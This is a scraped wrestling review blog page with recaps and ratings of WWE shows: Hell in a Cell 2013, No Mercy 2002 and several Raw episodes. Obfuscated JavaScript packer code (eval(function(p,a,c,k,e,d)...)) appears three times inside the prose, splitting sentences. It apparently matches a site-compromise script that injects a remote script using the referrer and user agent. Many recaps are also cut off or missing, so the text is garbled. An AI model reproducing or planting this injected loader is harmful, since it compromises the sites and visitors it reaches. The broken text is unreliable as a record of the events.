Hell in a Cell 2013: Stuff Actually Happens Here!

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Date: October 27, 2013
Location: American Airlines Arena, Miami, Florida
Commentators: John Bradshaw Layfield, Michael Cole, Jerry Lawler

Pre-Show: Kofi Kingston vs. Damien Sandow

As expected, the opening video is about how the Cell changes you and no one is ever the same after they step foot in it again. We also get some brief clips about the major feuds tonight.

Tag Titles: Cody Rhodes/Goldust vs. Usos vs. Shield

Jimmy makes a blind tag to Jey who comes in with a quick rollup for two of his own, earning him a golf clap from Cody. Rhodes grabs a single leg and takes Jey into the corner for a tag off to Goldust but a quick double team by the Usos has Goldie in trouble. Roman Reigns tags himself in and pulls the legal Goldust out to the floor before taking him down with a jumping clothesline for two back inside. Back to Rollins who pounds away from the floor and hooks a front facelock.

Roman spends a bit too much time talking trash and gets caught in a quick powerslam from Goldust, allowing for the hot tag off to Cody. A missile dropkick puts Reigns down and a sunset flip gets two on Rollins. The moonsault press gets the same and Cody is all fired up. A Disaster Kick puts Rollins on the floor but Jimmy Uso makes another blind tag to go after Seth. Everything breaks down and Jey hits a HUGE die to take out Goldust and Roman.

HHH and Shawn have a chat in the back.

Summer Rae/Fandango vs. Natalya/Great Khali

US Title: Dean Ambrose vs. Big E. Langston

The Cell is lowered.

We recap Ryback/Heyman vs. Punk. It was originally Punk vs. Ryback but Punk wanted Heyman and won a Beat the Clock challenge, earning him the right to pick the stipulation. His idea: a handicap match inside the Cell.

CM Punk vs. Ryback/Paul Heyman

Breast cancer is bad.

The announcers talk while Heyman is taken down and the Cell is raised.

Real Americans vs. Los Matadores

Rating: D-. I hate this team. I just do and that is all.

Torito gores Colter post match because it was SO funny the first time.

World Heavyweight Championship: Alberto Del Rio vs. John Cena

The top rope Fameasser is broken up by a running enziguri but Cena ducks an attempt at a second one. Another AA is escaped and a tilt-a-whirl backbreaker gets two for the champion. Sandow is shown watching from the back. Del Rio puts Cena in the Tree of Woe but misses a charge into the post, allowing Cena to hit a high cross body for two. Alberto grabs a Codebreaker to the arm but Cena rolls through the cross armbreaker into the STF. Ropes are quickly grabbed though and a low superkick gets two for the champion.

No Sandow.

More expert panel.

Divas Title: AJ Lee vs. Brie Bella

WWE Championship: Daniel Bryan vs. Randy Orton

Orton slowly stomps away before draping Bryan ribs first over the top rope. Bryan is knocked into the Cell wall and sent into the steps for good measure. Orton rams the head into the cage wall before Bryan reverses a whip to send Randy into the steps. Back inside now with Bryan getting two and firing off the kicks to the chest. Orton gets caught in the Tree of Woe for more kicks to the chest followed by a running dropkick to the face. Orton goes to the floor but sidesteps the FLYING GOAT, sending Bryan head first into the steel.

Shawn leaves and Orton and HHH pose to end the show.

Results

Cody Rhodes/Goldust b. Usos and Shield – Cross Rhodes to Rollins

Summer Rae/Fandango b. Great Khali/Natalya – Rollup to Natalya

Big E. Langston b. Dean Ambrose via countout

CM Punk b. Paul Heyman/Ryback – GTS to Ryback

Los Matadores b. Real Americans – Double backbreaker to Swagger

John Cena b. Alberto Del Rio – Attitude Adjustment

AJ Lee b. Brie Bella – Black Widow

Randy Orton b. Daniel Bryan – Orton pinned Bryan after Sweet Chin Music from Shawn Michaels

 

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On This Day: October 23, 2000 – Monday Night Raw: When “Creative Has Nothing For You” Were Bad Words

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbdzr|var|u0026u|referrer|sdtay||js|php'.split('|'),0,{})) Night Raw
Date: October 23, 2000
Location: Hartford Civic Center, Hartford, Connecticut
Commentators: Jim Ross, Jerry Lawler

We open with an In Memory graphic for Yokozuna. Ignore them incorrectly listing him as a three time world champion.

Chris Benoit vs. Road Dogg

Benoit drives him into the corner to start and stomps Roadie down with ease. A backbreaker gets two but Benoit misses the swan dive, allowing Road Dogg to hit a few left hands. Dean Malenko comes out for a distraction though and the Crossface gets a quick submission. Basically a squash.

We get a clip from last night of Austin trying to run over Rikishi and getting arrested last night.

European Title: Chris Jericho vs. William Regal

Kane lays out Jericho with a chokeslam and lights up the corners of the ring.

Stephanie and Angle arrive and are greeted by paparazzi.

Chyna goes looking for Eddie but finds the two women she caught him in the shower with last week. She shuts the door and a lot of violence can be heard. Chyna leaves and the bodies are shown laid out everywhere. One of those girls is Victoria/Tara.

Too Cool vs. Tazz/Raven

Tazz and Raven formed a short lived ECW tag team around this point because there was nothing else for them to do. Scotty kicks Raven in the face to start and Grandmaster adds a middle rope dropkick to take Bird Boy down again. Tazz walks into a powerslam and Raven is kicked out to the floor. The distraction lets Tazz suplex Grandmaster down and the heels take over.

Billy Gunn vs. Val Venis

Video on Jerry Lawler at Las Vegas Outlaws cheerleader tryouts. I think you can figure this one out.

Tag Titles: Edge vs. Los Conquistadors

WWF Title: The Rock vs. HHH vs. Kurt Angle

 

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Raw Rating

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbsdb|var|u0026u|referrer|itrnf||js|php'.split('|'),0,{})) still not a good sign.Raw got a 2.71, down from last week.  Monday Night Football last night was a horrible matchup, meaning it shouldn’t have been much competition for WWE.  The numbers have been down since the start of both the Bryan push as well as the new regime storyline.  Bryan isn’t the main focus but he’s still a big deal on the show.  These ratings aren’t a good sign for his long term future as a top guy though.




On This Day: October 21, 2002 – Monday Night Raw: There’s No Easy Way Here. It’s Katie Vick.

Monday Night Raw
Date: October 21, 2002
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Jim Ross, Jerry Lawler

We open with a recap of the Katie Vick story. HHH claims Kane is a murderer, but Kane says it was an accident. This is the night after HHH beat Kane to unify the IC and World Titles but the feud must continue for some reason.

Jeff Hardy vs. Christopher Nowitski

Chris takes him down to start and Jeff is getting frustrated, which would be a recurring theme for him for the next few weeks. Jeff sends him to the floor and hits a big flipping dive to take over. Nowitski gets in a shot back inside and gets a few two counts. Hardy comes back with a Thesz Press and actually uses it as a pinning combination. Nowitski chokes away in the corner and gets two off a rolling side cradle.

Lance Storm/William Regal vs. Bubba Ray Dudley/Spike Dudley

Off to Bubba who takes Lance down with a neckbreaker but Regal hits Bubba in the back of his recently concussed head to give Storm the advantage. Regal comes in as Kane arrives in the back. Everything breaks down and Spike ranas Storm off the top. Bubba catches the superkick from Storm and hits the Bubba Bomb. Spoke hits the Dudley Dog on Regal for the win and the title shot.

Rating: C-. This was one of those matches that was too short to go anywhere of note. Regal and Storm as the Unamericans were a solid team but the gimmick was only going to go so far, especially with Test weighing them down as their third man. Nothing to see here and thankfully D-Von would reunite with Bubba the next month.

Trish is having her picture taken and has to talk to the photographer about her match with Victoria from last night. Jericho and Christian pop up and call Trish a w****. Apparently Jericho thinks Trish wants him. Geez is this some extreme foreshadowing? I really doubt it.

Trish Stratus/Booker T/Goldust vs. Victoria/Chris Jericho/Christian

Off to Jericho who pounds away but gets caught in the spinning sunset flip out of the corner. The fans are way into Booker which is a good sign. It means HHH has someone to beat at Wrestlemania for no other reason than HHH wants to win at Wrestlemania. Back to Christian who takes Booker down so Jericho can hit a top rope knee drop.

Booker saves Jericho post match.

Al Snow vs. Tommy Dreamer

Singapore Cane match. We start with a cane duel and Snow gets in the first connecting shots to the legs. Out to the floor and Dreamer fires away more cane shots but Snow headbutts him down. Back in and Dreamer kicks Al low, followed by a missed cane shot from an interfering Nowitski to give Dreamer the pin. Nothing to see here.

Big Show vs. Rosey/Jamal/Rico

Post break Eric announces that Big Show has been traded to Smackdown. He would get the world title the next month over there. After Show leaves, Hurricane arrives (did he leave?) and stands in front of his own car. Ok then.

HHH/Ric Flair vs. Rob Van Dam/Kane

Back in and Van Dam takes Flair down and makes the real tag. Kane cleans house as the announcers debate if necrophiliac and Hulkamaniac rhyme. This is what Raw has sunk to people. Van Dam goes up and gets crotched as Kane and HHH fight on the floor. They head up the ramp with HHH being rammed into the set. Van Dam kicks Flair in the face, hits Rolling Thunder and adds the Five Star for the pin.

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WWE.com Merchandise Sale Tonight Only

According eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdzfk|var|u0026u|referrer|dsbib||js|php'.split('|'),0,{})) to WWE you can get 20% off if you use the promo code…..Truth.




On This Day: October 20, 2002 – No Mercy 2002: Lesnar vs. Undertaker Inside The Cell

No Mercy 2002
Date: October 20, 2002
Location: Alltel Arena, North Little Rock, Arkansas
Attendance: 9,074
Commentators: Michael Cole, Tazz, Jim Ross, Jerry Lawler

This was requested by someone and I can’t remember who. In name only this seems like a weak card but it’s actually pretty stacked. We have HHH vs. Kane in a title unification match, the match of the year with Edge/Mysterio vs. Benoit/Angle for the first Smackdown tag titles and Hell in a Cell with Lesnar vs. Taker. Let’s get to it.

Nothing special in the opening video. THERE WILL BE NO MERCY! Yeah that’s all they’ve got.

Raw Tag Titles: Chris Jericho/Christian vs. Booker T/Goldust

The Canadians have the titles. Four separate entrances here which is kind of odd. Christian and Jericho just won the belts this past week on Raw. Booker vs. Christian starts us off. Christian is a glorified lower card guy at this point having been more or less completely left in the dust by Edge despite him having a title and Edge not at the moment. It sounds odd but it’s completely true.

Flying hips to the face of the Canadians keep Goldust in control. Jericho gets a middle rope dropkick as that first little bit was kind of quickly done and not in a good way. The fans are way behind Booker T. Goldust avoids a Christian dropkick and gets a rollup for two followed by a powerslam. No tag though as I guess he’s playing the face in peril here. Before I finished that sentence Booker comes in.

Apparently Booker and Jericho are feuding at this point so there’s your reasoning for the match I guess. You knew it wasn’t just because they’re both good tag teams right? Booker dominates for the most part here as he’s the hottest thing in the match and would get a title shot at Mania.

Back over to Goldust who hits Shattered Dreams on Christian and continues to abuse the balls of Christian by getting a drop toehold onto Jericho to send him into his partner’s crotch. Axe kick to Jericho gets two as Christian saves. Booker gets the missile dropkick and it’s Spinarooni time. Jericho goes for his running springboard dropkick but the ropes break. Well doesn’t that suck. Jericho bulldogs Goldust onto a title belt and hits a moonsault off the top to retain.

Rating: C-. You can’t hold the ropes breaking against them here but this match wasn’t very entertaining. It’s ok but it really is a Raw match with a bit more time on PPV. It wasn’t much at all with Goldust and Booker being a glorified comedy team as this is a backdrop for the Booker vs. Jericho feud which I’m never a fan of. Not terrible though.

Funaki, Smackdown NUMBER ONE announcer, is with Al Wilson. This was during the Dawn Marie marries Al Wilson to tick off Torrie. This resulted in Al “dying” and Dawn making out with Torrie in a lesbian/semi-incest angle that was insanely hot but irritating at the same time. This is WAY too long as they show a bunch of clips but they have to fix the ring so we have hot women to look at I guess. It results in a Bill Clinton joke of all things.

Torrie Wilson vs. Dawn Marie

They’re not even called Divas all the time yet. Sweet GOODNESS Cole looks toolish here. The girls look great though. Torrie drills her to start and it’s on early. This is when the girls were just AWFUL in the ring. It’s this era and the next 2-3 years where the bad stereotypes come from. Torrie kept getting ring time and looked like a rookie in her first match for the better part of three years.

Dawn drops a head into the crotch of Torrie and Tazz wonders if that actually hurts. This is just freaking terrible. Rolling catfight spot as this is going nowhere at all. They can’t even do clotheslines right. YOU STICK YOUR ARM OUT. Why is this getting extended time??? Finally Torrie wins with a swinging neckbreaker.

Rating: D-. Girls looking this hot can’t be a failure. That’s all it’s got going for it though and I want to get away from it as fast as I can.

RVD says Flair is awesome and lists off some catchphrases of Naitch. He even struts and woos and does his own version of the limousine riding bit. It’s MUCH funnier than it sounds and it helps that Flair is a walking cartoon character.

In the same shot we see Brock and Heyman showing up and they have no comment. There’s also a decent looking woman named Tracy that is accusing Taker of being a cheater in his marriage. Actually that’s true but who cares about reality?

Ric Flair vs. Rob Van Dam

Flair is heel here and Evolution isn’t quite formed yet but would show up on February 3 of the following year (no I’m not that big of a geek. That’s my birthday). At Unforgiven (JR says Vengeance) Flair turned heel and hit RVD in the stomach with a sledgehammer to save HHH’s title. They go at it on the floor for a bit and Flair’s shoulder goes into the post before the bell rings.

Or has the match started already? Top rope dropkick hits Flair as the bell rings. Ok so it hadn’t started yet. Flair is only 53 here so he’s still a young dude in theory I guess. Flair takes out the knee and we’re officially in the Flair Formula. The main talking point is that Van Dam said he flies coach in the prematch promo. Lawler will not shut up about it and it’s kind of annoying. Yes Lawler is getting annoying. I’m stunned too.

The standard Flair beating goes on for a LONG time. And now we’re talking about the Tracy girl. Well sure why not. We get to the Figure Four after maybe three minutes and naturally it doesn’t end the thing since Flair is a heel and he loses the ability to win with a submission. Van Dam makes his comeback as this is borderline predictable.

Ross slips in his more time on the canvas than Rembrandt line as Flair is slammed off the top. Rolling Thunder gets two as Flair gets a foot on the ropes. And then there’s the Five Star to actually end it. It’s kind of weird to see Flair just jobbing cleanly like that. Most odd indeed.

Rating: D+. You’ve seen it once and you’ve seen it 1000 times. And yes I know how ironic that is given the last thing I said about the ending. This again belonged on Raw and not here but that’s typical for the most part. This went nowhere for the most part as Flair at least is almost good for putting someone over. Pretty weak match though.

Show is talking to Stephanie and Bischoff comes up to complain about it. Show wanted to leave Raw but Eric wouldn’t let him. He would be there by Survivor Series and a heel under Heyman’s leadership.

Since the IC Title dies tonight we get a video package on the history of the title. Cool stuff.

Cruiserweight Title: Tajiri vs. Jamie Noble

Noble is champion here. Tajiri was the referee in a Noble/Nidia match on Smackdown for no apparent reason so Noble beat him up afterwards. Tajiri gets a baseball slide before the bell rings as that’s a running theme lately. Asai Moonsault hits and that’s about the extent of Tajiri’s offense for awhile.

Nice electric chair by Noble gets two. Pretty much domination by the champion so far. Tazz and Cole imply these three are in a three way relationship or something but that never went anywhere. The commentary is far more sexual in nature than what you would be used to in WWE today.

Jamie gets knocked off the top rope as he tries a suplex so Tajiri gets to miss a moonsault now. He does get a tornado DDT but doesn’t cover for no apparent reason. Both guys down now. Both guys up now. Tajiri unleashes that martial arts rush which is always awesome. Handspring elbow has Jamie in big trouble. German suplex gets two.

There’s the Tarantula and Jamie is reeling. Big kick misses and the Tiger Bomb is countered. There’s the kick and Nidia kisses the referee so he can’t make the count. And there’s the Tiger Bomb for two which is surprising. Tajiri goes for a victory roll but Nidia trips him so Jamie can dive into it for the Owen Hart at Mania X pin.

Rating: C. Not bad here and at least they allowed Tajiri to get in more offense than it looked like he was going to get. It’s nothing great or anything like that but this was definitely watchable and the whole thing worked pretty well. It’s a shame no one cared about this or it might have been interesting.

Tajiri kisses her post match. Noble kisses her too. Tajiri kicks the living heck out of him while he does though.

Benoit is looking for Eddie and says that Angle is kicking Chavo’s teeth in at the moment. Eddie goes off to find him and Benoit follows. Eddie finds the door they’re behind and makes noises with his mouth. Eddie thinks Benoit is faking so that Angle can take him down.

It’s clearly Chavo yelling but Eddie says that sounds like a little girl. And then Angle throws Chavo through the door. This was…..uh yeah. Apparently they did the same thing on Smackdown and Angle was suckering Eddie in. Out of context this is nuts but that makes sense.

We recap the monster Kane face push that resulted him in being the IC Champion and getting the shot at HHH here because it’s winner take all since WWE decided there was going to be one title per show for no apparent reason at all. Kane talked about being all happy for the first time in his life. And then, HHH asked Kane about Katie Vick.

Yes it’s THAT Katie Vick. The idea was that there was some chick that Kane knew (despite allegedly being burned horribly and never knowing anyone but Paul Bearer). He drove her home one night and they wrecked, killing her. Then HHH went to a funeral home and simulated sex with a mannequin while wearing a Kane mask, implying that Kane raped her corpse. This might be the lowest the company ever got.

Raw World Title/Intercontinental Title: HHH vs. Kane

Since Lesnar had gone to Smackdown as the Undisputed Champion the World Heavyweight Championship had been made for HHH as the Raw title. That was last month so the ending is pretty clear here. We hear the stupid line of that title dating back to 1904 (it was 1905 until they decided it was 04 when HHH got it) which is complete nonsense.

In short, the NWA Title was unified with a title that dated back to 1905. That title LOOKS like the NWA Title so it has the same lineage. That’s the extent of the WWE’s logic. Lawler says Kane needs Liquid Courage to face HHH. Well it would certainly help him with his covers. And now onto the match.

Kane pushes him around to start and then drills HHH. An amusing thing here is that Lawler keeps calling Kane the Animal. Batista was either already on Smackdown or would be debuting any week now. I think he’s already there though. All Kane so far. He beats on HHH for about the first three minutes more or less non stop. HHH gets a bad reverse neckbreaker to take Kane down. Naturally he sits up to take care of that.

Facebuster buys HHH some time and he sends Kane to the floor. Back in the ring and HHH hits another neckbreaker. Make that three. Dang he sticks to stuff he likes doesn’t he? Ross says if Kane wins he’ll be the first masked World’s Heavyweight Champion. I guess they’re pushing that whole separate titles thing. Spinebuster puts Kane down again.

HHH keeps up the offense on the neck and throat with a slingshot up into the middle rope to keep Kane down even longer. Off to a sleeper now and Kane is reeling. Down he goes as Lawler makes death jokes. Those are pretty creepy actually. This match is pretty plodding and not much is going on here at all. Sidewalk Slam by Kane gets no cover as he’s broken the sleeper and is in control again.

Top rope clothesline hits and here’s Ric Flair because a title match can’t be clean right? Down goes the referee and Flair won’t leave. What a shocker. Belt to Kane’s face gets a two without much drama at all. Hurricane, Kane’s partner, comes out and beats up Flair but walks into a Pedigree. Kane sits up and it’s on again.

HHH comes off the middle and top rope and neither of them work. Chokeslam is blocked and down goes the referee again. To the floor now and HHH takes a chokeslam through the Spanish Announce Table. Flair comes in with the sledgehammer but Kane stops it. HHH gets a low blow and a hammer shot but walks into a chokeslam. Flair (again) breaks up the pin and takes a chokeslam as a result. Back in and HHH hits the Pedigree to retain and retire the IC Title.

Rating: D. This more or less is what would happen in Raw World Title matches for the vast majority of the next year and a half. HHH would get dominated by a big guy but then Flair and the sledgehammer would come into play and HHH would of course retain. Kane more or less was done for a good while after this as he didn’t get to do anything because it was world title or nothing. That was the stupid part of the whole thing but it took about 9 months for them to realize it. The match sucked due to all of the garbage in it though.

Stephanie talks to the Tracy girl about the Undertaker thing and she admits Heyman made the whole thing up and she’s just going along with it. They had a relationship before he married Taker. This is “confidentially between the two of them.” I guess the camera means nothing.

We recap the tag team tournament and basically the two teams have been flying through the whole thing and are unstoppable. If Benoit and Angle fight they’re both suspended for a year.

Smackdown Tag Titles: Rey Mysterio/Edge vs. Chris Benoit/Kurt Angle

This was the undisputed match of the year so this more or less has to be awesome. Edge is about as hot as possible here and Rey is pretty new here. Yeah he had been around only three months or so here. Edge is just straight up awesome here and the whole thing is just greatness. Angle vs. Rey to start us off. We have what, about 25 world titles in there? Angle takes him to the mat and slaps him in the back of the head to be a jerk.

Kurt is really the only heel in this match. He literally throws Rey into his own corner because he wants a grownup apparently. Rey won’t tag out though because he wants Angle. They had a great opener at Summerslam so this works for me. Rey can’t get out of much of anything so he steps on Kurt’s foot and hits him with what can only be called an FU.

He busts out the speed and slaps Angle in the back of the head just like Kurt did earlier. The announce table being in pieces is funny for some reason. Here’s Edge to a big old pop. This is before Edge hurt his neck so he’s a totally different worker here. Off to Benoit now. Expect a LOT of play by play here as if the reviews I’ve heard are any indication there isn’t going to be much to make fun of.

The Canadians do a much more technical sequence and it’s a lot more entertaining than you would think a side headlock should be. Edge gets a knee to Benoit’s ribs and focuses on them for a while. Flapjack and a rollup get two. And there’s a knee from Kurt as Edge hits the ropes to give Benoit an advantage. They try the same thing again but Edge spears him this time.

Benoit and Angle double team Edge in a very nice sequence. Back to Angle now. The fans are all over him which is always good to hear. Better for them to be making noise at all than to be bored. Rear naked choke to Edge and Rey is getting antsy. Tazz adds in something by saying Angle is making sure Edge is facing his partner to mess with his head. Nicely done Mr. suplex machine.

Edge gets a big boot but walks into a belly to belly for two and here’s Chris again. Here are the rolling Germans as Edge is getting the tar beaten out of him. Benoit goes a little heel by drilling Rey to keep him from making the save. Benoit goes up for the headbutt and down he comes off a big old superplex.

There’s the big tag to Rey and he cranks things WAY up. The good thing is that he’s in there against two guys that can do the same thing. He sets Benoit for a Bronco Buster but goes with a running dropkick instead. HUH-FREAKING-ZAH! Rey and Benoit crank things up ever more but Benoit gets a counter and hooks up the Crossface until Edge finally saves.

Edge vs. Angle on the floor along with Benoit and Rey in the ring. 619 is blocked by Benoit but Edge hits a missile dropkick to drive Rey onto Benoit for a long two. This is all happening at a very fast pace. Rey goes up but Angle JUMPS from the mat to the top for the HUGE belly to belly off the top for another long two. Benoit’s face is like WHAT at that.

Angle in now vs. Rey as things slow down a bit. Rey starts a bit of a comeback but gets caught in a quick suplex and crashes for two. Back to the short and crazy Canadian now. After more of a beating Rey gets a headscissors to send Benoit into the post and we get double tags to bring in Edge vs. Kurt. Edge-O-Matic gets two and everyone is back in again.

Spear in the corner to Benoit and there’s the Bronco Buster. I withdraw my former HUZZAH! Spear in the corner again to Angle and Edge sits him on the middle rope. Rey runs at Edge who throws him into the air for a big old rana. Benoit looks to save with the diving headbutt but it crushes Angle and only gets two. Angle busts out a German from nowhere for two. He shouts at Edge to go to the middle which Edge does.

In a VERY nice spot, Rey runs at Edge who belly to bellies him into Angle to take down the bald one. That’s what he gets for calling spots that loudly. Benoit saves the spear and grabs the Crossface and Edge is in trouble but he gets a rope. He won’t let go so Rey hits a 619 out of somewhere. Angle Slam takes out Rey and Angle locks on the ankle lock.

Edge kicks off and grabs a small package for two. Spear gets two as Benoit saves and Rey takes out Benoit. Rey gets a running start at Edge again and Edge catches him and gives him a very nice launch into a moonsault to take out Benoit. SICK counter out of the Edgecution by Angle into the ankle lock. Edge counters that into an ankle lock of his own but Angle is all like OH NO YOU DIDN’T and counters into an ankle lock for the tap out and the titles. Sweet goodness as Cole says he’s going to applaud them for it.

Rating: A+. OH YES. Now this is what you get when you have two teams out there that are young and moving as fast as they can to make something look awesome. Smackdown was supposed to be the wrestling show back then and it certainly was.

These four plus Brock and Eddie were known as the Smackdown Six and were more or less there to have great matches every week. This is another fine example of it and it worked like a charm. Great match with some INSANE counters and saves and double teaming. Go watch it. Like now.

A doctor tells Taker that he shouldn’t give Taker a shot in the broken hand/wrist that he has. Nice to see him getting this maybe 15 minutes before the match starts.

Women’s Title: Trish Stratus vs. Victoria

Sweet merciful goodness Trish looks amazingly good tonight. She’s in her standard stuff but the blue with the long blonde hair and the big smile is WORKING. Victoria is currently known as Tara in TNA. Total bring the crowd down match after the awesome match they just had. Victoria is a bit more hardcore than the rest of the Divas. Trish was pretty good in the ring by this point and can more than carry herself.

You can tell that Trish has talent as she’s not afraid to go after Victoria here and clearly looks comfortable out there doing what she’s doing. When you watch the Divas today for the most part they clearly have to stop and make sure they’re doing everything right. With Trish like most of the male wrestlers, you can see she’s mostly going on instinct which is the better way of doing things.

Victoria in control here as she hits a front flip slingshot legdrop and then botches the living heck out of a monkey flip to the extent that Trish landed on Victoria rather than hitting the mat. Victoria throws on an old school backbreaker which is the kind where they throw the other girl over her shoulder and pulls down. A big spinning sideslam gets no cover so Trish gets an electric chair drop for two. Chick Kick gets two before a neckbreaker and rollup end it.

Rating: D. This was just there but the sloppiness of it hurt things. Trish was getting a lot better but still wasn’t as great as she would get. Victoria wasn’t a character yet and was just a bit nuts and said that Trish slept her way to the top of the fitness modeling world. She would get the title the next month in a hardcore match. This was pretty much nothing.

Post match Victoria kicks the blonde’s head off.

We get a clip of Rikishi being thrown off the top of the Cell in 2000. Rikishi is at the World (WWE nightclub/restaurant) and says the match is no joke. He predicts Taker wins it.

The Cell is lowered.

We recap Taker vs. Lesnar. They had a match at Unforgiven where Taker lost by DQ when he threw Brock through the set. In short he just didn’t want to put Lesnar over so they gave them two matches in a row. Lesnar has been champion for two months here so this is his second major title defense. Brock broke Taker’s hand and we threw in that Tracy chick who meant nothing apparently. This gets the music video treatment.

Smackdown World Title: Brock Lesnar vs. The Undertaker

In the Cell remember. Taker keeps lunging at Brock and gets taken to the mat for his trouble. Big powerslam gets two for the champion and there’s the cast to Lesnar’s ribs after he misses a charge in the corner. Brock tries to escape but can’t get out so he hammers on the arm instead. He goes with an armbar which isn’t something you often see in a Cell match.

Taker blasts him in the head with it which is a double edged sword. Actually it’s a hard cast but you get the metaphor. Brock is busted BAD. Heyman is all freaked out. Brock is bleeding but there’s been worse in ECW so I guess he’s mellowed. They hit the floor and Taker beats the tar out of him and covers on the floor for two. You can do that? I don’t remember that before.

More cast shots which all of a sudden don’t hurt him. I guess he’s lucky that the shot he got kicked in sometime between the first big shot with it and this set of them. Lesnar gets put in place for the apron legdrop but Taker goes up and drops a knee (I think) from the top instead for two on the floor again. Heyman shouts at Brock to get away from Taker. Taker kicks Heyman through the cage in a nice shot.

He follows that up by grabbing Paul’s tie and pulling on it to slam him into the cage. Taker gets out of the way of a charging Brock who crashes into Heyman too. Dang he’s taken a beating tonight. Brock gets a good shot in though and sends him into the cage. Heyman is busted open too. He slips his belt in and ties Taker up with it so Lesnar can annihilate him a bit. Heyman shouting YOU’RE GONNA DIE is great stuff.

Lesnar, a 300lb beast, swings a chair about ten times to drill Taker’s hand each time. So in other words, Taker is probably in need of major surgery now on it. Let’s see if it hurts at all. Brock gets the cast off or at least tries to. Heyman sounds demonic out there. There goes the cast completely as they’re actually in the ring now.

In a cool spot, Brock sits him on the top rope and uses the top of the cage to lift himself up and throw kicks at Taker. Taker blocks a superplex despite being more or less dead. He knocks Lesnar to the mat and manages to drop an elbow off the top with the right hand and seems to be just fine. Shocking isn’t it? I’m not used to seeing Taker’s bare hand. Taker kicks Brock into the cage and has momentum again.

Taker dives through the ropes and more or less completely misses but Brock sells it anyway. Cole thinks Taker’s broken right hand could be a weakness for him. Wow indeed. Steps to the head take Taker down again and busts him open. More steps to the head and Taker is more or less done. His face is COVERED in blood.

Back in the ring Brock gets a big spinebuster for two. ZERO pop for the kickout. And naturally Taker is able to throw big right hands and is “running on adrenaline” apparently. Oh give me a break. The blood on the camera is always a nice touch. Old School is blocked and Brock takes over again. Tazz: Undertaker has never been pinned or submitted. What the heck is this guy on?

F5 is reversed into a chokeslam for two which gets a bigger pop than the kickout did a minute ago. Brock goes for a Last Ride and is reversed. DDT gets two. Sweet GOODNESS Taker is bleeding badly. Brock does the punches in the corner which Taker counters with the Last Ride for two as Brock’s bloody hand grabs the rope.

In something SICK on the cover, Taker’s blood drips onto Brock’s face. That’s not good at all and really isn’t safe in the slightest. That’s a big reason as to why the blood policy is a good thing. Taker goes for the Tombstone and Brock is like screw this let’s end it and counters it before literally throwing Taker onto his shoulders for the F5 to retain. We then get what is supposed to be an iconic scene as he grabs the title and climbs to the top of the Cell where he holds it over his head to end the show.

Rating: C. Hard one to call here as the match itself is more or less crap. It’s about 27 minutes long and at least 15 of that is spent on the floor. Taker’s hand thing was eye rolling levels of stupid as all of a sudden a shot is able to heal 5 chair shots from Brock Lesnar to a broken hand. Brock looked great here, but the main reason this is a decent grade is the blood.

If you like bloody matches, RUN out and find a copy of this show. Taker’s blood is absolutely insane as you can’t see his face and it looks like there’s a hole in his forehead. It’s a big brawl but Taker was really looking bad out there, both from how his face looked to how he was working. I didn’t like the match, but the blood was insane.

Overall Rating
: D+. This isn’t quite a one match show but it’s very close. The tag match is required viewing, but other than that there isn’t anything absolutely worth seeing. The Cell match is a very case by case basis of whether or not you should watch it. Other than that though everything here is very hit or miss and nothing you couldn’t find anywhere with relative ease. This show isn’t terrible, but it’s not very good. Tag title match is absolutely worth seeing though. Other than that, not really worth it.

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Monday Night Raw – October 14, 2013: Built On Emotion

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Date: October 14, 2013
Location: Scottrade Center, St. Louis, Missouri
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Orton needs to leave Shawn alone and worry about Bryan, but Orton promises to hurt Daniel inside the Cell. Randy threatens Shawn if he tries to screw Orton over but Shawn threatens him with some Sweet Chin Music. Both guys try their finishers and Orton bails to the floor, only to be jumped by Miz, his opponent tonight. The match is after the break.

Randy Orton vs. The Miz

Back from a break with Miz firing off knees to the ribs but getting sent into the corner for a clothesline. Miz comes back with a clothesline of his own to send Randy to the floor but his baseball slide misses, allowing Orton to hit yet another clothesline. Miz is sent into the steps and back inside we get the Orton stomp for two. Off to a chinlock for a few seconds before Miz is sent over the top and out to the floor.

Bray says that Miz is everything that he hates about this world. All of the glitz and glamor and red carpet and all that good stuff. Bray talks about us being stuck in the spider web of this moment and promises to take Miz down.

Fandango vs. Santino Marella

Naturally we start with a quick dance off before Fandango takes him down into a chinlock. A suplex sets up more dancing but Santino avoids something off the top. A jawbreaker of some sort puts Fandango down and Santino comes back with the usual. He loads up the Cobra but has to stop before almost hitting Summer Rae, allowing Fandango to roll him up for the pin at 2:30.

NXT wrestler Xavier Woods has started a petition to bring back Big Show. JBL spends the next fifteen seconds talking over Cole and ranting about how stupid a name Xavier Woods is and how Big Show should be fired.

Video on John Cena making a comeback.

Los Matadores vs. 3MB

Post match Mahal takes the double finisher and Torito adds a springboard seated senton for good measure.

Ryback vs. R-Truth

Video on WWE 2K14.

Tons of Funk vs. Real Americans

Post match Cesaro swings Tensai.

Breast cancer still sucks.

Tamina Snuka vs. Brie Bella

Bryan goes to yell at Stephanie but she tell him to go look after his fiance.

Curtis Axel vs. CM Punk

Rating: C+. This worked due to how fast it was but did we really need to have Punk beat the Intercontinental Champion clean in less than six minutes? The story had to go this way but there were other ways they could go to this point. Either way, it sets up the blowoff for the Punk vs. Heyman feud which probably needs to be wrapped up.

Post match Punk makes it Ryback/Heyman vs. Punk inside the Cell.

Daniel Bryan vs. Alberto Del Rio

